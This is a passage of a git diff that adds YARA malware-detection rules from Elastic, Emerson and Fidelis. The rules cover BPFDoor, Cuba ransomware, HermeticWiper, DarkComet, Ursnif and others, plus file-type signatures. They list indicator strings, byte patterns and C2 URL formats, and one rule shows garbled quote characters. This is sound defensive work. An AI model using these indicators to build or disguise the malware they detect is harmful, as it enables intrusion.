+       reference = "https://www.elastic.co/security-labs/advanced-techniques-used-in-malaysian-focused-apt-campaign"
+    strings:
+        $a = "/list_direction" fullword wide
+        $b = "/post_document" fullword wide
+        $c = "/postlogin" fullword wide
+        $d = "Download Read Path Failed %s" fullword ascii
+        $e = "Open Pipe Failed %s" fullword ascii
+        $f = "Open Remote File %s Failed For: %s" fullword ascii
+        $g = "Download Read Path Failed %s" fullword ascii
+        $h = "\\cmd.exe" fullword wide
+    condition:
+        all of them
+}
diff --git a/yara-mikesxrs/Elastic/Linux_Trojan_BPFDoor_1.yar b/yara-mikesxrs/Elastic/Linux_Trojan_BPFDoor_1.yar
new file mode 100644
index 0000000..2c1fc00
--- /dev/null
+++ b/yara-mikesxrs/Elastic/Linux_Trojan_BPFDoor_1.yar
@@ -0,0 +1,23 @@
+rule Linux_Trojan_BPFDoor_1 {
+
+    meta:
+        Author = "Elastic Security"
+        creation_date = "2022-05-10"
+        last_modified = "2022-05-10"
+        os = "Linux"
+        arch = "x86"
+        category_type = "Trojan"
+        family = "BPFDoor"
+        threat_name = "Linux.Trojan.BPFDoor"
+        description = "Detects BPFDoor malware."
+        reference_sample = "144526d30ae747982079d5d340d1ff116a7963aba2e3ed589e7ebc297ba0c1b3"
+        reference = "https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor"
+    strings:
+        $a1 = "hald-addon-acpi: listening on acpi kernel interface /proc/acpi/event" ascii fullword
+        $a2 = "/sbin/iptables -t nat -D PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d" ascii fullword
+        $a3 = "avahi-daemon: chroot helper" ascii fullword
+        $a4 = "/sbin/mingetty /dev/tty6" ascii fullword
+        $a5 = "ttcompat" ascii fullword
+    condition:
+        all of them
+}
diff --git a/yara-mikesxrs/Elastic/Mozi_Obfuscation_Technique.yar b/yara-mikesxrs/Elastic/Mozi_Obfuscation_Technique.yar
new file mode 100644
index 0000000..a59417a
--- /dev/null
+++ b/yara-mikesxrs/Elastic/Mozi_Obfuscation_Technique.yar
@@ -0,0 +1,15 @@
+rule Mozi_Obfuscation_Technique
+{
+  meta:
+    author =  "Elastic Security, Lars Wallenborn (@larsborn)"
+    description = "Detects obfuscation technique used by Mozi botnet."
+    reference = "https://www.elastic.co/security-labs/collecting-and-operationalizing-threat-data-from-the-mozi-botnet"
+  strings:
+    $a = { 55 50 58 21
+           [4]
+           00 00 00 00
+           00 00 00 00
+           00 00 00 00 }
+  condition:
+    all of them
+}
diff --git a/yara-mikesxrs/Elastic/Windows_Ransomware_Cuba.yar b/yara-mikesxrs/Elastic/Windows_Ransomware_Cuba.yar
new file mode 100644
index 0000000..acc4c0c
--- /dev/null
+++ b/yara-mikesxrs/Elastic/Windows_Ransomware_Cuba.yar
@@ -0,0 +1,20 @@
+rule Windows_Ransomware_Cuba {
+    meta:
+        os = "Windows"
+        arch = "x86"
+        category_type = "Ransomware"
+        family = "Cuba"
+        threat_name = "Windows.Ransomware.Cuba"
+        Reference_sample = "33352a38454cfc247bc7465bf177f5f97d7fd0bd220103d4422c8ec45b4d3d0e"
+        Reference = "https://www.elastic.co/security-labs/cuba-ransomware-malware-analysis"
+
+    strings:
+       $a1 = { 45 EC 8B F9 8B 45 14 89 45 F0 8D 45 E4 50 8D 45 F8 66 0F 13 }
+       $a2 = { 8B 06 81 38 46 49 44 45 75 ?? 81 78 04 4C 2E 43 41 74 }
+     $b1 = "We also inform that your databases, ftp server and file server were downloaded by us to our     servers." ascii fullword
+       $b2 = "Good day. All your files are encrypted. For decryption contact us." ascii fullword
+       $b3 = ".cuba" wide fullword
+
+    condition:
+        any of ($a*) or all of ($b*)
+}
diff --git a/yara-mikesxrs/Elastic/Windows_Trojan_BLISTER.yar b/yara-mikesxrs/Elastic/Windows_Trojan_BLISTER.yar
new file mode 100644
index 0000000..dc5e3a1
--- /dev/null
+++ b/yara-mikesxrs/Elastic/Windows_Trojan_BLISTER.yar
@@ -0,0 +1,23 @@
+rule Windows_Trojan_BLISTER {
+    meta:
+        Author = "Elastic Security"
+        creation_date = "2022-04-29"
+        last_modified = "2022-04-29"
+        os = "Windows"
+        arch = "x86"
+        category_type = "Trojan"
+        family = "BLISTER"
+        threat_name = "Windows.Trojan.BLISTER"
+        description = "Detects BLISTER loader."
+        reference = "https://www.elastic.co/security-labs/elastic-security-uncovers-blister-malware-campaign"
+        reference_sample = "afb77617a4ca637614c429440c78da438e190dd1ca24dc78483aa731d80832c2"
+
+    strings:
+        $a1 = { 8D 45 DC 89 5D EC 50 6A 04 8D 45 F0 50 8D 45 EC 50 6A FF FF D7 }
+        $a2 = { 75 F7 39 4D FC 0F 85 F3 00 00 00 64 A1 30 00 00 00 53 57 89 75 }
+        $a3 = { 78 03 C3 8B 48 20 8B 50 1C 03 CB 8B 78 24 03 D3 8B 40 18 03 FB 89 4D F8 89 55 E0 89 45 E4 85 C0 74 3E 8B 09 8B D6 03 CB 8A 01 84 C0 74 17 C1 C2 09 0F BE C0 03 D0 41 8A 01 84 C0 75 F1 81 FA B2 17 EB 41 74 27 8B 4D F8 83 C7 02 8B 45 F4 83 C1 04 40 89 4D F8 89 45 F4 0F B7 C0 3B 45 E4 72 C2 8B FE 8B 45 04 B9 }
+        $b1 = { 65 48 8B 04 25 60 00 00 00 44 0F B7 DB 48 8B 48 ?? 48 8B 41 ?? C7 45 48 ?? ?? ?? ?? 4C 8B 40 ?? 49 63 40 ?? }
+        $b2 = { B9 FF FF FF 7F 89 5D 40 8B C1 44 8D 63 ?? F0 44 01 65 40 49 2B C4 75 ?? 39 4D 40 0F 85 ?? ?? ?? ?? 65 48 8B 04 25 60 00 00 00 44 0F B7 DB }
+    condition:
+        any of them
+}
diff --git a/yara-mikesxrs/Elastic/Windows_Trojan_Deimos_DLL.yar b/yara-mikesxrs/Elastic/Windows_Trojan_Deimos_DLL.yar
new file mode 100644
index 0000000..76b0db1
--- /dev/null
+++ b/yara-mikesxrs/Elastic/Windows_Trojan_Deimos_DLL.yar
@@ -0,0 +1,23 @@
+rule Windows_Trojan_Deimos_DLL {
+    meta:
+        author = "Elastic Security"
+        creation_date = "2021-09-18"
+        last_modified = "2021-09-18"
+        os = "Windows"
+        arch = "x86"
+        category_type = "Trojan"
+        family = "Deimos"
+        threat_name = "Windows.Trojan.Deimos"
+        description = "Detects the presence of the Deimos trojan DLL file."
+        reference = "https://www.elastic.co/security-labs/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant"
+        reference_sample = "2c1941847f660a99bbc6de16b00e563f70d900f9dbc40c6734871993961d3d3e"
+
+    strings:
+        $a1 = "\\APPDATA\\ROAMING" wide fullword
+        $a2 = "{\"action\":\"ping\",\"" wide fullword
+        $a3 = "Deimos" ascii fullword
+        $b1 = { 00 57 00 58 00 59 00 5A 00 5F 00 00 17 75 00 73 00 65 00 72 00 }
+        $b2 = { 0C 08 16 1F 68 9D 08 17 1F 77 9D 08 18 1F 69 9D 08 19 1F 64 9D }
+    condition:
+        all of ($a*) or 1 of ($b*)
+}
diff --git a/yara-mikesxrs/Elastic/Windows_Wiper_HERMETICWIPER.yar b/yara-mikesxrs/Elastic/Windows_Wiper_HERMETICWIPER.yar
new file mode 100644
index 0000000..cf252cb
--- /dev/null
+++ b/yara-mikesxrs/Elastic/Windows_Wiper_HERMETICWIPER.yar
@@ -0,0 +1,24 @@
+rule Windows_Wiper_HERMETICWIPER {
+    meta:
+        Author = "Elastic Security"
+        creation_date = "2022-02-24"
+        last_modified = "2022-02-24"
+        os = "Windows"
+        arch = "x86"
+        category_type = "Wiper"
+        family = "HERMETICWIPER"
+        threat_name = "Windows.Wiper.HERMETICWIPER"
+        description = "Detects HERMETICWIPER used to target Ukrainian organization"
+        reference_sample = "1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591"
+        reference = "https://www.elastic.co/security-labs/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper"
+
+    strings:
+        $a1 = "\\\\?\\C:\\Windows\\System32\\winevt\\Logs" wide fullword
+        $a2 = "\\\\.\\EPMNTDRV\\%u" wide fullword
+        $a3 = "tdrv.pdb" ascii fullword
+        $a4 = "%s%.2s" wide fullword
+        $a5 = "ccessdri" ascii fullword
+        $a6 = "Hermetica Digital"
+    condition:
+        all of them
+}
diff --git a/yara-mikesxrs/EmersonElectricCo/ft_cab.yara b/yara-mikesxrs/EmersonElectricCo/ft_cab.yara
new file mode 100644
index 0000000..ca2055e
--- /dev/null
+++ b/yara-mikesxrs/EmersonElectricCo/ft_cab.yara
@@ -0,0 +1,14 @@
+rule ft_cab
+{
+   meta:
+      author = "Jason Batchelor"
+      company = "Emerson"
+      lastmod = "20150723"
+      desc = "File magic for CABs (Microsoft Cabinet Files)"
+
+   strings:
+      $cab = { 4D 53 43 46 }
+
+   condition:
+      $cab at 0
+}
diff --git a/yara-mikesxrs/EmersonElectricCo/ft_elf.yara b/yara-mikesxrs/EmersonElectricCo/ft_elf.yara
new file mode 100644
index 0000000..fc6eb78
--- /dev/null
+++ b/yara-mikesxrs/EmersonElectricCo/ft_elf.yara
@@ -0,0 +1,14 @@
+rule ft_elf
+{
+   meta:
+      author = "Jason Batchelor"
+      company = "Emerson"
+      lastmod = "20160121"
+      desc = "File magic for ELF files"
+
+   strings:
+      $magic = { 7f 45 4c 46 }
+
+   condition:
+      $magic at 0 
+}
diff --git a/yara-mikesxrs/EmersonElectricCo/ft_exe.yara b/yara-mikesxrs/EmersonElectricCo/ft_exe.yara
new file mode 100644
index 0000000..025386c
--- /dev/null
+++ b/yara-mikesxrs/EmersonElectricCo/ft_exe.yara
@@ -0,0 +1,14 @@
+rule ft_exe
+{
+   meta:
+      author = "Jason Batchelor"
+      company = "Emerson"
+      lastmod = "20141217"
+      desc = "Simple signature to trigger on PE files."
+
+   strings:
+      $mz = "MZ"
+
+   condition:
+      $mz at 0
+}
diff --git a/yara-mikesxrs/EmersonElectricCo/ft_gzip.yara b/yara-mikesxrs/EmersonElectricCo/ft_gzip.yara
new file mode 100644
index 0000000..829a3cd
--- /dev/null
+++ b/yara-mikesxrs/EmersonElectricCo/ft_gzip.yara
@@ -0,0 +1,14 @@
+rule ft_gzip
+{
+   meta:
+      author = "Jason Batchelor"
+      company = "Emerson"
+      lastmod = "20151116"
+      desc = "Trigger on magic of GZip compressed files"
+
+   strings:
+      $magic = { 1f 8b 08 }
+
+   condition:
+      $magic at 0
+}
diff --git a/yara-mikesxrs/EmersonElectricCo/ft_jar.yara b/yara-mikesxrs/EmersonElectricCo/ft_jar.yara
new file mode 100644
index 0000000..ee68a07
--- /dev/null
+++ b/yara-mikesxrs/EmersonElectricCo/ft_jar.yara
@@ -0,0 +1,15 @@
+rule ft_jar
+{
+   meta:
+      author = "Jason Batchelor"
+      company = "Emerson"
+      lastmod = "20150810"
+      desc = "Signature to detect JAR files"
+
+   strings:
+      $pk_header = { 50 4B 03 04 }
+      $jar = "META-INF/MANIFEST.MF"
+
+   condition:
+      $pk_header at 0 and $jar
+}
diff --git a/yara-mikesxrs/EmersonElectricCo/ft_java_class.yara b/yara-mikesxrs/EmersonElectricCo/ft_java_class.yara
new file mode 100644
index 0000000..17bb795
--- /dev/null
+++ b/yara-mikesxrs/EmersonElectricCo/ft_java_class.yara
@@ -0,0 +1,14 @@
+rule ft_java_class
+{
+   meta:
+      author = "Jason Batchelor"
+      company = "Emerson"
+      lastmod = "20160126"
+      desc = "File magic for detecting a Java bytecode file."
+
+   strings:
+      $class = { CA FE BA BE }
+
+   condition:
+      $class at 0
+}
diff --git a/yara-mikesxrs/EmersonElectricCo/ft_office_open_xml.yara b/yara-mikesxrs/EmersonElectricCo/ft_office_open_xml.yara
new file mode 100644
index 0000000..fc0fb91
--- /dev/null
+++ b/yara-mikesxrs/EmersonElectricCo/ft_office_open_xml.yara
@@ -0,0 +1,19 @@
+// References:
+// http://www.garykessler.net/library/file_sigs.html
+// https://issues.apache.org/jira/browse/TIKA-257
+
+rule ft_office_open_xml
+{
+   meta:
+      author = "Jason Batchelor"
+      company = "Emerson"
+      lastmod = "20140915"
+      desc = "Simple metadata attribute indicative of Office Open XML format. Commonly seen in modern office files."
+
+   strings:
+      $OOXML = "[Content_Types].xml"
+
+   condition:
+      $OOXML at 30
+}
+
diff --git a/yara-mikesxrs/EmersonElectricCo/ft_ole_cf.yara b/yara-mikesxrs/EmersonElectricCo/ft_ole_cf.yara
new file mode 100644
index 0000000..616cfc6
--- /dev/null
+++ b/yara-mikesxrs/EmersonElectricCo/ft_ole_cf.yara
@@ -0,0 +1,14 @@
+rule ft_ole_cf
+{
+   meta:
+      author = "Jason Batchelor"
+      company = "Emerson"
+      lastmod = "20141202"
+      desc = "Detect file magic indicative of OLE CF files (commonly used by early versions of MS Office)."
+
+   strings:
+      $magic = { D0 CF 11 E0 A1 B1 1A E1 }
+
+   condition:
+      $magic at 0
+}
diff --git a/yara-mikesxrs/EmersonElectricCo/ft_pdf.yara b/yara-mikesxrs/EmersonElectricCo/ft_pdf.yara
new file mode 100644
index 0000000..8d887a9
--- /dev/null
+++ b/yara-mikesxrs/EmersonElectricCo/ft_pdf.yara
@@ -0,0 +1,14 @@
+rule ft_pdf
+{
+   meta:
+      author = "Jason Batchelor"
+      company = "Emerson"
+      lastmod = "20141230"
+      desc = "Signature to trigger on PDF file magic."
+
+   strings:
+      $pdf = "%PDF"
+
+   condition:
+      $pdf in (0 .. 1024)
+}
diff --git a/yara-mikesxrs/EmersonElectricCo/ft_rar.yara b/yara-mikesxrs/EmersonElectricCo/ft_rar.yara
new file mode 100644
index 0000000..b97c4a1
--- /dev/null
+++ b/yara-mikesxrs/EmersonElectricCo/ft_rar.yara
@@ -0,0 +1,15 @@
+rule ft_rar
+{
+   meta:
+      author = "James Ferrer"
+      company = "Emerson"
+      lastmod = "20150107"
+      desc = "File type signature for basic .rar files"
+
+   strings:
+      $Rar = {52 61 72 21 1A 07} 
+      
+   condition:
+
+      $Rar at 0
+}
diff --git a/yara-mikesxrs/EmersonElectricCo/ft_rtf.yara b/yara-mikesxrs/EmersonElectricCo/ft_rtf.yara
new file mode 100644
index 0000000..b8ed6e3
--- /dev/null
+++ b/yara-mikesxrs/EmersonElectricCo/ft_rtf.yara
@@ -0,0 +1,14 @@
+rule ft_rtf
+{
+   meta:
+      author = "Jason Batchelor"
+      company = "Emerson"
+      lastmod = "20141204"
+      desc = "Hit on RTF files by triggering on RTF file magic"
+
+   strings:
+      $rtf = { 7B 5C 72 74 66 }
+
+   condition:
+      $rtf at 0
+}
diff --git a/yara-mikesxrs/EmersonElectricCo/ft_swf.yara b/yara-mikesxrs/EmersonElectricCo/ft_swf.yara
new file mode 100644
index 0000000..bbb5abf
--- /dev/null
+++ b/yara-mikesxrs/EmersonElectricCo/ft_swf.yara
@@ -0,0 +1,51 @@
+rule ft_swf_cws
+{
+   meta:
+      author = "Jason Batchelor"
+      company = "Emerson"
+      lastmod = "20150318"
+      desc = "File type signature for regular compressed SWF files"
+
+   strings:
+      $cws = "CWS"
+
+   condition:
+      $cws at 0
+}
+
+rule ft_swf_fws
+{
+   meta:
+      author = "Jason Batchelor"
+      company = "Emerson"
+      lastmod = "20150318"
+      desc = "File type signature for basic SWF files."
+
+   strings:
+      $fws = "FWS"
+
+   condition:
+      $fws at 0
+}
+
+rule ft_swf_zws
+{
+   meta:
+      author = "Jason Batchelor"
+      company = "Emerson"
+      lastmod = "20150318"
+      desc = "File type signature for SWF files compressed with LZMA compression, uncommonly observed"
+
+   strings:
+      $zws = "ZWS"
+
+   condition:
+      $zws at 0
+}
+
+rule ft_swf
+{
+   condition:
+      ft_swf_zws or ft_swf_fws or ft_swf_cws
+}
+
diff --git a/yara-mikesxrs/EmersonElectricCo/ft_tar.yara b/yara-mikesxrs/EmersonElectricCo/ft_tar.yara
new file mode 100644
index 0000000..d8c06f0
--- /dev/null
+++ b/yara-mikesxrs/EmersonElectricCo/ft_tar.yara
@@ -0,0 +1,14 @@
+rule ft_tar
+{
+   meta:
+      author = "Jason Batchelor"
+      company = "Emerson"
+      lastmod = "20151116"
+      desc = "Signature to detect on TAR archive files"
+
+   strings:
+      $magic = { 75 73 74 61 72 }
+
+   condition:
+      $magic at 257
+}
diff --git a/yara-mikesxrs/EmersonElectricCo/ft_zip.yara b/yara-mikesxrs/EmersonElectricCo/ft_zip.yara
new file mode 100644
index 0000000..197688f
--- /dev/null
+++ b/yara-mikesxrs/EmersonElectricCo/ft_zip.yara
@@ -0,0 +1,14 @@
+rule ft_zip
+{
+   meta:
+      author = "Jason Batchelor"
+      company = "Emerson"
+      lastmod = "20141217"
+      desc = "File type signature for basic ZIP files."
+
+   strings:
+      $pk = { 50 4B 03 04 }
+
+   condition:
+      $pk at 0
+}
diff --git a/yara-mikesxrs/EmersonElectricCo/misc_compressed_exe.yara b/yara-mikesxrs/EmersonElectricCo/misc_compressed_exe.yara
new file mode 100644
index 0000000..e6e737e
--- /dev/null
+++ b/yara-mikesxrs/EmersonElectricCo/misc_compressed_exe.yara
@@ -0,0 +1,50 @@
+// Spec reference: http://forensicswiki.org/wiki/RAR#Format
+rule compressed_exe_in_rar
+{
+   meta:
+      author = "Jason Batchelor"
+      company = "Emerson"
+      lastmod = "20150813"
+      desc = "Detect on evidence of a compressed executable within a RAR"
+
+   strings:
+      $rar = { 52 61 72 21 1A 07 00 }
+      $file_header_part = { 74 [12] ( 00 | 01 | 02 | 03 | 04 | 05 ) [9] ( 30 | 31 | 32 | 33 | 34 | 35 ) }
+      $exe_ext = ".exe"
+
+   condition:
+      $rar at 0 and for any r in (1..#file_header_part):
+         // see if .exe is within the offset of the file archive header and however long the file name size is
+         // file name begins 30 bytes away from start of header
+         // file size is specified 24 bytes from the start
+         // limitation is if the HIGH_PACK_SIZE or HIGH_UNP_SIZE optional values are set, accuracy will be effected
+         ($exe_ext in (@file_header_part[r] + 30..@file_header_part[r] + 30 + uint16(@file_header_part[r] + 24)))
+}
+
+// Spec reference: https://en.wikipedia.org/wiki/Zip_(file_format)#File_headers
+rule compressed_exe_in_zip
+{
+   meta:
+      author = "Jason Batchelor"
+      company = "Emerson"
+      lastmod = "20150813"
+      desc = "Detect on evidence of a compressed executable within a ZIP"
+
+   strings:
+      $pk = { 50 4B 03 04 }
+      $exe_ext = ".exe"
+
+   condition:
+      $pk at 0 and for any p in (1..#pk):
+         // see if .exe is within the offset of the local file header and however long the file name size is
+         // file name begins 30 bytes away from the start of the local file header
+         // file size is specified 26 bytes from the start
+         ($exe_ext in (@pk[p] + 30..@pk[p] + 30 + uint16(@pk[p] + 26)))
+}
+
+rule misc_compressed_exe
+{
+   condition:
+      compressed_exe_in_zip or compressed_exe_in_rar
+}
+
diff --git a/yara-mikesxrs/EmersonElectricCo/misc_no_dosmode_header.yara b/yara-mikesxrs/EmersonElectricCo/misc_no_dosmode_header.yara
new file mode 100644
index 0000000..63f1af6
--- /dev/null
+++ b/yara-mikesxrs/EmersonElectricCo/misc_no_dosmode_header.yara
@@ -0,0 +1,51 @@
+// Source: http://yara.readthedocs.org/en/v3.4.0/writingrules.html#conditions
+private rule ft_strict_exe
+{
+  condition:
+     // MZ signature at offset 0 and ...
+     uint16(0) == 0x5A4D and
+     // ... PE signature at offset stored in MZ header at 0x3C
+     uint32(uint32(0x3C)) == 0x00004550
+}
+
+/*
+Example target...
+00000000  4d 5a 90 00 03 00 00 00  04 00 00 00 ff ff 00 00  |MZ..............|
+00000010  b8 00 00 00 00 00 00 00  40 00 00 00 00 00 00 00  |........@.......|
+00000020  20 20 20 20 00 00 00 00  00 00 00 00 00 00 00 00  |    ............|
+00000030  00 00 00 00 00 00 00 00  00 00 00 00 00 01 00 00  |................|
+00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
+00000050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
+00000060  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
+00000070  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
+00000080  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
+00000090  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
+000000a0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
+000000b0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
+000000c0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
+000000d0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
+000000e0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
+000000f0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
+00000100  50 45 00 00 4c 01 03 00  bc 7c b1 47 00 00 00 00  |PE..L....|.G....|
+00000110  00 00 00 00 e0 00 0f 01  0b 01 07 04 00 e0 00 00  |................|
+*/
+
+rule misc_no_dosmode_header : suspicious
+{
+    meta:
+        author = "Jason Batchelor"
+        created = "2016-03-02"
+        modified = "2016-03-02"
+        university = "Carnegie Mellon University"
+        description = "Detect on absence of 'DOS Mode' heaader between MZ and PE boundries"
+
+    strings:
+        $dosmode = "This program cannot be run in DOS mode."
+
+    condition:
+        // (0 .. (uint32(0x3C))) = between end of MZ and start of PE headers
+        // 0x3C = e_lfanew = offset of PE header
+        ft_strict_exe and not $dosmode in (0x3C .. (uint32(0x3C)))
+}
+
+
diff --git a/yara-mikesxrs/EmersonElectricCo/misc_ooxml_core_properties.yara b/yara-mikesxrs/EmersonElectricCo/misc_ooxml_core_properties.yara
new file mode 100644
index 0000000..98667d5
--- /dev/null
+++ b/yara-mikesxrs/EmersonElectricCo/misc_ooxml_core_properties.yara
@@ -0,0 +1,16 @@
+rule misc_ooxml_core_properties
+{
+   meta:
+      author = "Jason Batchelor"
+      company = "Emerson"
+      lastmod = "20150505"
+      desc = "Identify meta xml content within OOXML documents"
+
+   strings:
+      $xml = "<?xml version="
+      $core = "<cp:coreProperties xmlns:cp"
+
+   condition:
+      $xml at 0 and $core
+}
+
diff --git a/yara-mikesxrs/EmersonElectricCo/misc_pe_signature.yara b/yara-mikesxrs/EmersonElectricCo/misc_pe_signature.yara
new file mode 100644
index 0000000..30fbcc3
--- /dev/null
+++ b/yara-mikesxrs/EmersonElectricCo/misc_pe_signature.yara
@@ -0,0 +1,13 @@
+import "pe"
+
+rule misc_pe_signature
+{
+   meta:
+      author = "Jason Batchelor"
+      company = "Emerson"
+      lastmod = "20150911"
+      desc = "Triggers if an authenticode signature is present within a PE file (if the PE is signed for example)"
+
+   condition:
+      pe.number_of_signatures > 0
+}
diff --git a/yara-mikesxrs/EmersonElectricCo/misc_upx_packed_binary.yara b/yara-mikesxrs/EmersonElectricCo/misc_upx_packed_binary.yara
new file mode 100644
index 0000000..c35cd37
--- /dev/null
+++ b/yara-mikesxrs/EmersonElectricCo/misc_upx_packed_binary.yara
@@ -0,0 +1,13 @@
+import "pe"
+
+rule misc_upx_packed_binary
+{
+   meta:
+      author = "Jason Batchelor"
+      company = "Emerson"
+      lastmod = "20150520"
+      desc = "Detect section names indicative of UPX packed PE files"
+
+   condition:
+      (pe.sections[0].name == "UPX0" and pe.sections[1].name == "UPX1")
+}
diff --git a/yara-mikesxrs/Fidelis/AlienSpy.yar b/yara-mikesxrs/Fidelis/AlienSpy.yar
new file mode 100644
index 0000000..bb6859e
--- /dev/null
+++ b/yara-mikesxrs/Fidelis/AlienSpy.yar
@@ -0,0 +1,34 @@
+rule AlienSpy {
+meta:
+	description = "AlienSpy"
+	author = "Fidelis Cybersecurity"
+	reference = "Fidelis Threat Advisory #1015 - Ratting on AlienSpy - Apr 08, 2015"
+
+strings:
+	$sa_1 = "META-INF/MANIFEST.MF" 
+	$sa_2 = "Main.classPK"
+	$sa_3 = "plugins/Server.classPK"
+	$sa_4 = "IDPK"
+
+	$sb_1 = "config.iniPK"
+	$sb_2 = "password.iniPK"
+	$sb_3 = "plugins/Server.classPK"
+	$sb_4 = "LoadStub.classPK"
+	$sb_5 = "LoadStubDecrypted.classPK"
+	$sb_7 = "LoadPassword.classPK"
+	$sb_8 = "DecryptStub.classPK"
+	$sb_9 = "ClassLoaders.classPK"
+
+	$sc_1 = "config.xml"
+	$sc_2 = "options"
+	$sc_3 = "plugins"
+	$sc_4 = "util"
+	$sc_5 = "util/OSHelper"
+	$sc_6 = "Start.class"
+	$sc_7 = "AlienSpy"
+	$sc_8 = "PK"
+
+condition:
+	(all of ($sa_*)) or (all of ($sb_*)) or (all of ($sc_*))
+
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Fidelis/DarkComet.yar b/yara-mikesxrs/Fidelis/DarkComet.yar
new file mode 100644
index 0000000..5bfeacb
--- /dev/null
+++ b/yara-mikesxrs/Fidelis/DarkComet.yar
@@ -0,0 +1,18 @@
+rule DarkComet
+{
+meta:
+	description = "DarkComet RAT"
+	author = "Fidelis Cybersecurity"
+	reference = "Fidelis Threat Advisory #1018 - Looking at the Sky for a DarkComet - August 4, 2015"
+	date = "2015-07-22" 
+
+strings:
+	$s1 = "#KCMDDC"
+	$s2 = "DCDATA"
+	$s3 = "#BOT#CloseServer" 
+	$s4 = "#BOT#SvrUninstall"
+	$s5 = "#BOT#URLDownload" 
+condition:
+	uint16(0) == 0x5a4d and filesize < 50MB and all of ($s*)
+}
+
diff --git a/yara-mikesxrs/Fidelis/DarkCometDownloader.yar b/yara-mikesxrs/Fidelis/DarkCometDownloader.yar
new file mode 100644
index 0000000..f8d4cc2
--- /dev/null
+++ b/yara-mikesxrs/Fidelis/DarkCometDownloader.yar
@@ -0,0 +1,12 @@
+rule DarkCometDownloader {
+meta:
+	description = "DarkComet RAT Downloader" 
+	author = "Fidelis Cybersecurity"
+	reference = "Fidelis Threat Advisory #1018 - Looking at the Sky for a DarkComet - August 4, 2015"
+	date = "2015-07-22"
+
+strings:
+	$s1 = {6A00FF15F0304000A30D1040006A0A68261040006A00FF15F4304000A311104000FF 35111040006A00FF15F8304000A315104000FF35111040006A00FF15FC304000A3191 04000FF3515104000FF1500314000A31D104000FF3519104000FF351D104000682C11 4000FF1508314000FF3515104000FF150C31400031C0682C104000682C104000FF151 43140006805104000682C104000FF1510314000682C104000FF15183140006A006A00 682C104000682C1140006A00FF15803040006A056A006A00682C10400068001040006 A00FF15A83040006A00FF1504314000}
+condition:
+	uint16(0) == 0x5a4d and filesize < 10KB and all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Fidelis/Scanbox.yar b/yara-mikesxrs/Fidelis/Scanbox.yar
new file mode 100644
index 0000000..9c1491b
--- /dev/null
+++ b/yara-mikesxrs/Fidelis/Scanbox.yar
@@ -0,0 +1,44 @@
+ rule apt_all_JavaScript_ScanboxFramework_obfuscated
+
+{
+           meta:
+                 author = "Fidelis Security"
+                 reference = "https://www.fidelissecurity.com/TradeSecret"
+
+           strings:
+
+                  $sa1 = /(var|new|return)\s[_\$]+\s?/
+
+                  $sa2 = "function"
+
+                  $sa3 = "toString"
+
+                  $sa4 = "toUpperCase"
+
+                  $sa5 = "arguments.length"
+
+                  $sa6 = "return"
+
+                  $sa7 = "while"
+
+                  $sa8 = "unescape("
+
+                  $sa9 = "365*10*24*60*60*1000"
+
+                  $sa10 = ">> 2"
+
+                  $sa11 = "& 3) << 4"
+
+                  $sa12 = "& 15) << 2"
+
+                  $sa13 = ">> 6) | 192"
+
+                  $sa14 = "& 63) | 128"
+
+                  $sa15 = ">> 12) | 224"
+
+                  condition:
+
+                  all of them
+
+}
diff --git a/yara-mikesxrs/Fidelis/Ursnif_report_variant_memory.yar b/yara-mikesxrs/Fidelis/Ursnif_report_variant_memory.yar
new file mode 100644
index 0000000..c9cec98
--- /dev/null
+++ b/yara-mikesxrs/Fidelis/Ursnif_report_variant_memory.yar
@@ -0,0 +1,20 @@
+rule Ursnif_report_variant_memory
+{
+meta:
+	 description = "Ursnif"
+	 author = "Fidelis Cybersecurity"
+	 reference = "New Ursnif Variant Targeting Italy and U.S - June 7, 2016"
+
+strings:
+	 $isfb1 = "/data.php?version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s"
+	 $isfb2 = "client.dll"
+	 $ursnif1 = "soft=1&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x"
+	 $a1 = "grabs="
+	 $a2 = "HIDDEN"
+	 $ursnif2 = "/images/"
+	 $randvar = "%s=%s&"
+	 $specialchar = "%c%02X" nocase
+	 $serpent_setkey = {8b 70 ec 33 70 f8 33 70 08 33 30 33 f1 81 f6 b9 79 37 9e c1 c6 0b 89 70 08 41 81 f9 84 [0-3] 72 db}
+condition:
+	7 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Fidelis/XenonCrypter.yar b/yara-mikesxrs/Fidelis/XenonCrypter.yar
new file mode 100644
index 0000000..1c06e57
--- /dev/null
+++ b/yara-mikesxrs/Fidelis/XenonCrypter.yar
@@ -0,0 +1,12 @@
+rule XenonCrypter
+{
+meta:
+	author = "jason reaves"
+	author2 = "Fidelis Cybersecurity"
+	description = "Xenon Crypter"
+strings:
+	$b1 = "Xenon2FF\\Bin\\StubNew.pdb� nocase
+	$b2 = “XenonNew\\Bin\\StubNew.pdb� nocase
+condition:
+	any of ($b*)
+}
diff --git a/yara-mikesxrs/Fidelis/apt_nix_elf_Derusbi_Linux_SharedMemCreation.yar b/yara-mikesxrs/Fidelis/apt_nix_elf_Derusbi_Linux_SharedMemCreation.yar
new file mode 100644
index 0000000..ee4fb06
--- /dev/null
+++ b/yara-mikesxrs/Fidelis/apt_nix_elf_Derusbi_Linux_SharedMemCreation.yar
@@ -0,0 +1,13 @@
+rule apt_nix_elf_Derusbi_Linux_SharedMemCreation
+{
